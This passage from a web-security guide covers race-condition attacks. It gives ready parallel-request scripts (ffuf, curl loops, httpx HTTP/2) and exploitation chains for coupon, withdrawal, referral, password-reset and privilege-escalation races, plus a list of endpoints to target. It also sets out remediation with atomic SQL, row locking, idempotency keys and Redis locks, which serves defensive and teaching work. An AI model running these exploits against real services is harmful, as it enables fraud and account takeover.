# Install:
go install github.com/ffuf/ffuf/v2@latest

# Simple race test (20 concurrent requests):
# Create a wordlist with 20 entries (any content):
python3 -c "print('\n'.join(['race']*20))" > /tmp/race_list.txt

ffuf -w /tmp/race_list.txt \
     -u https://target.com/api/redeem \
     -X POST \
     -H "Content-Type: application/json" \
     -H "Cookie: session=SESSION" \
     -d '{"code":"PROMO50"}' \
     -t 20 \
     -mc 200

# Count 200 responses — more than 1 = race condition

13. Partial Construction & Object Lifecycle Races

13.1 What Partial Construction Is

An object or session goes through multiple creation steps.
Between steps, the object is in an INTERMEDIATE (insecure) state.
A racing request can interact with the object during this window.

Example lifecycle:
Step 1: Create user record (id=99, role=null)      ← PARTIALLY CONSTRUCTED
Step 2: Assign default role (role='user')
Step 3: Send verification email

Race window: Between step 1 and 2, another request reads user id=99.
If that request doesn't enforce role != null → acts as unauthenticated / god mode.

13.2 Registration Partial Construction

Scenario: Registration flow
1. POST /api/register → creates account, returns session token
2. GET  /api/set-defaults → sets role, quota, permissions

Race: Use the session token from step 1 BEFORE step 2 completes.

Test:
1. Send POST /api/register  (get session token)
2. IMMEDIATELY and SIMULTANEOUSLY with step 2's background processing:
   GET /api/admin (using the new session token)
   → Does it work before role is set? → role is null → might default to true!

13.3 Payment / Order Partial Construction

Order lifecycle:
1. POST /api/order/create → order_id=777, status='pending'
2. POST /api/payment/process → validates, status='paid'
3. POST /api/order/fulfill → ships, status='shipped'

Race between steps 1 and 2:
- Create order → grab order_id
- Immediately hit /api/order/fulfill with order_id before payment processes
- If fulfillment checks status='pending' OR status='paid' weakly → race bypasses payment

Or: Race between steps 2 and 3:
- Send /api/payment/process AND /api/order/cancel simultaneously
- If cancel succeeds but payment already processed → refund + fulfilled order

13.4 Token Partial Construction

Scenario: API key generation
1. Server generates key: INSERT INTO api_keys (user_id, key, active) VALUES (...)
2. Server enables key:  UPDATE api_keys SET active=1 WHERE key=...

Race: Key is in DB between steps 1 and 2 with active=NULL.

If another part of the system iterates all keys (e.g., for auditing)
and uses a key with active=NULL as if active (null != false in some langs)
→ key is used before it's properly activated

Or: Generate key, steal it during the window before it's tied to your user
(if there's a separate lookup table update that lags)

14. Real-World Exploitation Chains

14.1 Race Condition → Account Takeover

Target: E-commerce platform
Vulnerability: Password reset token TOCTOU

Step 1: Attacker requests password reset for victim@victim.com
        → Server generates token "abc123", stores in DB (used=false)
        → Sends email to victim@victim.com

Step 2: Attacker somehow obtains token (phishing, previous breach, guessing)
        — For this chain, assume attacker can observe token timing

Step 3: Send two simultaneous requests:
  Req A: POST /reset {"token":"abc123","new_password":"Attacker1!"}
  Req B: POST /reset {"token":"abc123","new_password":"Attacker2!"}

Step 4: Both pass the used=false check.
        One request wins the DB update race.
        Token is marked used.
        But BOTH requests processed the new password assignment.

Impact: Attacker controls the final password set.
        Account taken over.

14.2 Race Condition → Financial Fraud

Target: Fintech API
Vulnerability: Withdrawal limit overrun

Constraint: Max $500 withdrawal per transaction, account balance = $500.
Goal: Withdraw > $500 total.

Step 1: Craft 10 identical withdrawal requests for $500 each.
Step 2: Send all 10 simultaneously via HTTP/2 single-packet attack.
Step 3: Server checks balance $500 >= $500 for all 10 (all pass check).
Step 4: 2–5 requests successfully debit $500.
        Account balance: -$1000 to -$2000.

Result: Extracted up to 10× the available balance.
Real-world examples: Numerous crypto exchanges, Venmo clones, and
                     banking APIs have been hit with this exact chain.

14.3 Race Condition → Coupon / Referral Abuse

Target: SaaS subscription platform
Vulnerability: Referral bonus limit overrun

Normal flow: Refer a friend → you get $10 credit (once per referral).

Race:
1. Attacker has 1 legitimate referral (friend signed up).
2. Sends 50 concurrent POST /api/claim-referral {"ref_id":"FRIEND123"}
3. Server checks: has this referral been claimed? → No (for all 50)
4. All 50 requests create a "claim" record and add $10 credit.
5. Result: $500 credit from 1 referral.

Fix check: The server should use an atomic INSERT with UNIQUE constraint
on (ref_id, claiming_user_id) and catch the duplicate key error.

14.4 Race Condition → Privilege Escalation (Web)

Target: Admin panel with role-based access control
Vulnerability: Role assignment partial construction

Step 1: Register a new account (role='user' set in background job).
Step 2: Before background job runs, send GET /api/admin-panel.
Step 3: If role check is:
        if (user.role === 'admin') → false (not yet 'user', null)

        But somewhere: if (!user.role || user.role === 'admin')
        → null/undefined is falsy → condition passes → admin access!

Or: Change role from 'user' to 'moderator' via profile update.
    While the role update is processing, simultaneously request
    admin-level endpoint.
    If the endpoint reads role during the transition window
    (between deleting 'user' and setting 'moderator') → role is null → bypass.

14.5 Race Condition → WAF / Rate Limit Bypass

Target: Login endpoint with 5-attempt lockout
Vulnerability: Attempt counter race condition

Normal: 5 wrong attempts → account locked for 30 minutes.

Race:
1. Send 2 login attempts SIMULTANEOUSLY (parallel):
   → Counter reads: attempts = 0 for both requests
   → Both increment to 1
   → Net result: 2 attempts registered as 1

2. Repeat: each pair of concurrent attempts only increments by 1.
3. Effectively doubles the allowed attempts before lockout.
4. With 5-attempt limit: race allows 10 actual attempts.

Better exploit: Send 5 pairs (10 attempts) simultaneously.
Counter reads 0 for all → all increment → counter = 1 (or 2, jitter).
All 10 attempts processed before counter hits 5.
Result: 10 password guesses within 1 "window".

15. Remediation

15.1 Atomic Database Operations

-- VULNERABLE (read-modify-write):
SELECT uses FROM coupons WHERE code = 'PROMO50';  -- reads 0
-- race window
UPDATE coupons SET uses = uses + 1 WHERE code = 'PROMO50';

-- SAFE — atomic conditional update:
UPDATE coupons
SET uses = uses + 1
WHERE code = 'PROMO50'
  AND uses < max_uses;

-- Check affected rows in application:
if db.rowcount == 0:
    raise Exception("Coupon already fully redeemed or invalid")

-- SAFE — atomic check+insert for one-time use:
INSERT INTO coupon_redemptions (coupon_code, user_id)
VALUES ('PROMO50', 123)
ON CONFLICT (coupon_code, user_id) DO NOTHING;

if db.rowcount == 0:
    raise Exception("You've already redeemed this coupon")

15.2 Database Transactions with Locking

# Python + SQLAlchemy — pessimistic locking:
from sqlalchemy import select
from sqlalchemy.orm import Session

def redeem_gift_card(session: Session, card_code: str, user_id: int):
    with session.begin():
        # SELECT FOR UPDATE — locks the row until transaction commits:
        card = session.execute(
            select(GiftCard)
            .where(GiftCard.code == card_code)
            .with_for_update()   # ← LOCKS ROW
        ).scalar_one_or_none()

        if not card:
            raise ValueError("Invalid code")
        if card.redeemed:
            raise ValueError("Already redeemed")

        # Now safe: no concurrent transaction can modify this row
        card.redeemed = True
        card.redeemed_by = user_id
        session.add(card)
        # Transaction commits here — lock released

# Node.js + Sequelize:
await sequelize.transaction(async (t) => {
    const card = await GiftCard.findOne({
        where: { code: cardCode },
        lock: t.LOCK.UPDATE,    // SELECT FOR UPDATE
        transaction: t
    });
    if (!card || card.redeemed) throw new Error("Invalid or used");
    await card.update({ redeemed: true, redeemedBy: userId },
                      { transaction: t });
});

15.3 Idempotency Keys

// Add an idempotency key to critical endpoints:
// Client sends a unique key per logical operation.
// Server stores: idempotency_key → result
// Duplicate requests with same key return cached result — no re-execution.

// Express.js middleware:
async function idempotencyMiddleware(req, res, next) {
    const key = req.headers["idempotency-key"];
    if (!key) return next();  // optional for non-critical endpoints

    const cached = await redis.get(`idem:${key}`);
    if (cached) {
        // Return cached response — do NOT re-execute:
        return res.status(200).json(JSON.parse(cached));
    }

    // Intercept response to cache it:
    const originalJson = res.json.bind(res);
    res.json = async (body) => {
        await redis.set(`idem:${key}`, JSON.stringify(body), "EX", 86400);
        originalJson(body);
    };

    next();
}

// Client usage:
// POST /api/transfer
// Idempotency-Key: a1b2c3d4-unique-per-transfer

15.4 Optimistic Locking (Version Field)

# Add 'version' column to sensitive tables:
# version INT NOT NULL DEFAULT 0

def transfer_funds(user_id, amount):
    while True:
        user = db.query("SELECT balance, version FROM accounts WHERE id=?",
                        user_id)
        if user.balance < amount:
            raise Exception("Insufficient funds")

        # Atomic update — only succeeds if version hasn't changed:
        rows = db.execute(
            "UPDATE accounts SET balance=?, version=? "
            "WHERE id=? AND version=?",
            user.balance - amount,
            user.version + 1,
            user_id,
            user.version    # ← fails if concurrent request already updated
        )

        if rows.rowcount == 1:
            break  # success
        # else: version conflict → retry

15.5 Rate Limiting with Atomic Counters

# Use Redis INCR (atomic) for rate limiting — not DB read-then-write:

import redis
r = redis.Redis()

def check_rate_limit(user_id: str, limit: int = 5,
                     window: int = 60) -> bool:
    key = f"ratelimit:{user_id}"
    pipe = r.pipeline()
    pipe.incr(key)           # atomic increment
    pipe.expire(key, window) # set TTL if not set
    count, _ = pipe.execute()
    return count <= limit

# Usage:
if not check_rate_limit(user_id):
    return "Rate limit exceeded", 429

# Redis INCR is atomic — no race condition on the counter.
# Compare to: GET count → check → SET count+1 (VULNERABLE)

15.6 Mutex / Distributed Locking

# Redis-based distributed lock (Redlock pattern):
import redis
import time
import uuid

r = redis.Redis()

def acquire_lock(resource: str, ttl_ms: int = 5000) -> str | None:
    lock_id = str(uuid.uuid4())
    # SET NX (only if not exists) + PX (expire in ms) — atomic:
    if r.set(f"lock:{resource}", lock_id, nx=True, px=ttl_ms):
        return lock_id
    return None  # lock not acquired

def release_lock(resource: str, lock_id: str):
    # Only release if we own it (Lua script — atomic):
    lua = """
    if redis.call('get', KEYS[1]) == ARGV[1] then
        return redis.call('del', KEYS[1])
    else
        return 0
    end
    """
    r.eval(lua, 1, f"lock:{resource}", lock_id)

# Usage — protect a critical section:
def redeem_coupon(user_id, code):
    lock_key = f"coupon:{code}"
    lock_id = acquire_lock(lock_key, ttl_ms=3000)
    if not lock_id:
        return "Another redemption in progress. Try again."
    try:
        # Critical section — only ONE thread can execute this:
        coupon = db.get_coupon(code)
        if coupon.used:
            return "Already used"
        db.mark_coupon_used(code, user_id)
        return "Success"
    finally:
        release_lock(lock_key, lock_id)

15.7 Defense-in-Depth Summary

  • Atomic DB operations (conditional UPDATE with WHERE clause) → PRIMARY for web
  • SELECT FOR UPDATE / row-level locking inside transactions → PRIMARY for complex flows
  • UNIQUE constraints on (user_id, resource_id) tables → catch duplicates at DB level
  • Idempotency keys on financial / one-time-use endpoints → PRIMARY
  • Optimistic locking (version field) for high-throughput scenarios → SCALABLE
  • Redis atomic INCR for rate limit counters (not read-modify-write) → PRIMARY
  • Distributed locks (Redlock) for cross-service critical sections → MICROSERVICES
  • Avoid storing intermediate "in-progress" state that other requests can read → ARCHITECTURAL
  • Never perform privilege checks and privileged actions as separate non-atomic steps → CORE RULE
  • Input validation does NOT fix race conditions — locking does → AWARENESS

16. Master Cheat Sheet

Attack Selection Decision Tree

Suspect a race condition?
│
├── Is there a per-user LIMIT on an action?
│   (coupon, vote, withdrawal, referral, free trial)
│   └── LIMIT OVERRUN → send N parallel requests simultaneously
│       → Use HTTP/2 single-packet attack for small windows
│
├── Are there TWO SEPARATE STEPS to an action?
│   (check permission → use permission, verify → act, create → configure)
│   └── TOCTOU → race between step 1 and step 2
│       → Send action request WHILE check/setup is processing
│
├── Are TWO DIFFERENT ENDPOINTS sharing state?
│   (register + login, reset + session, upload + process)
│   └── MULTI-ENDPOINT race → fire both endpoints simultaneously
│       → Turbo Intruder with gate mechanism
│
├── Is the SAME ENDPOINT hit with different params?
│   (change email × 2, buy last item × 5)
│   └── SINGLE-ENDPOINT race → concurrent requests with diff payloads
│       → Burp Repeater group → Send parallel
│
├── Is there a TOKEN that should be single-use?
│   (reset token, OTP, invite code, gift card code)
│   └── TOKEN RACE → send same token in 2 parallel requests
│       → If both succeed → token check is non-atomic
│
├── Is there a COUNTER that gates access?
│   (login attempts, rate limit, max redemptions)
│   └── COUNTER RACE → send pairs simultaneously
│       → Counter increments only once for each pair
│       → Doubles effective allowed attempts
│
└── Multi-step OBJECT CREATION?
    (register → assign role → verify, create order → process payment)
    └── PARTIAL CONSTRUCTION → interact with object between steps
        → Use the session/token from step 1 before step 2 runs

Quick Payload / Attack Reference

# ── Quick parallel test (curl) ──
for i in {1..10}; do
    curl -s -X POST https://target.com/api/action \
        -H "Cookie: session=SESSION" \
        -d '{"param":"value"}' &
done; wait

# ── Python asyncio + httpx (HTTP/2) ──
# pip install httpx[http2]
python3 -c "
import asyncio, httpx
async def race():
    async with httpx.AsyncClient(http2=True, verify=False) as c:
        tasks = [c.post('https://target.com/api/action',
                        json={'param':'value'},
                        headers={'Cookie':'session=SESSION'})
                 for _ in range(20)]
        res = await asyncio.gather(*tasks)
    [print(r.status_code, r.text[:60]) for r in res]
asyncio.run(race())
"

# ── ffuf parallel ──
python3 -c "print('\n'.join(['x']*20))" > /tmp/r.txt
ffuf -w /tmp/r.txt -u https://target.com/api/action \
     -X POST -H "Cookie: session=SESSION" \
     -d '{"param":"value"}' -t 20 -mc 200

# ── Check for success rate ──
# If > 1 request returns 200/success for a single-use action → VULN

Burp Suite Quick Reference

Repeater → Group Send:
  "Send group (parallel)"          → HTTP/1.1 + HTTP/2 parallel
  "Send group (single-packet)"     → HTTP/2 single-packet attack (best)

Turbo Intruder:
  engine.queue(req, gate='race')   → queue request into gate
  engine.openGate('race')          → fire ALL queued requests at once
  concurrentConnections=30         → number of parallel connections
  pipeline=False                   → disable HTTP pipelining for clean race

Key Turbo Intruder templates:
  "race-single-packet-attack"      → built-in template in extension
  "examples/race.py"               → base template for custom races

Response Pattern Reference

DEFINITE RACE CONDITION:
→ Multiple "success"/"200" for single-use resource
→ Balance goes negative
→ Duplicate DB entries
→ Multiple confirmation emails sent

PROBABLE RACE CONDITION:
→ Mixed 200 / 409 responses (timing-sensitive gate)
→ Intermittent success where only failure expected
→ Different response bodies for identical requests in a batch

INVESTIGATE FURTHER:
→ Consistent 409 / "already used" (might just be correct behavior)
→ All requests fail (timing off — retry with single-packet attack)
→ Errors about "transaction deadlock" in responses (lock exists but may have gap)

Common Race Condition Locations

HIGH VALUE — Almost always worth testing:
→ /redeem, /claim, /apply-coupon, /use-voucher
→ /transfer, /withdraw, /purchase, /checkout
→ /reset-password, /change-email, /change-username
→ /vote, /like, /upvote, /rate
→ /referral, /bonus, /reward
→ /2fa/verify, /otp/check
→ /invite, /accept-invite
→ /subscribe, /activate, /free-trial

MEDIUM VALUE — Check when nothing else found:
→ /upload (combined with /scan or /process)
→ /register (with background role assignment)
→ /refresh-token
→ /order/create + /payment/process
→ /register + /login (email verification bypass)

LOW VALUE — Unlikely but possible:
→ /profile/update (if role check involved)
→ /settings (if sensitive state managed)
→ /logout (session invalidation race)

Tool Quick Reference

# Burp Suite (built-in):
# Repeater → Group → "Send group (single-packet attack)"
# Turbo Intruder extension → openGate() pattern

# httpx (Python HTTP/2 client):
pip install httpx[http2]

# aiohttp (Python async HTTP):
pip install aiohttp

# ffuf (concurrent fuzzer):
go install github.com/ffuf/ffuf/v2@latest

# Custom script template: Section 12.5 (copy-paste ready)

# Redis lock (production fix testing):
pip install redis

← Web top ↑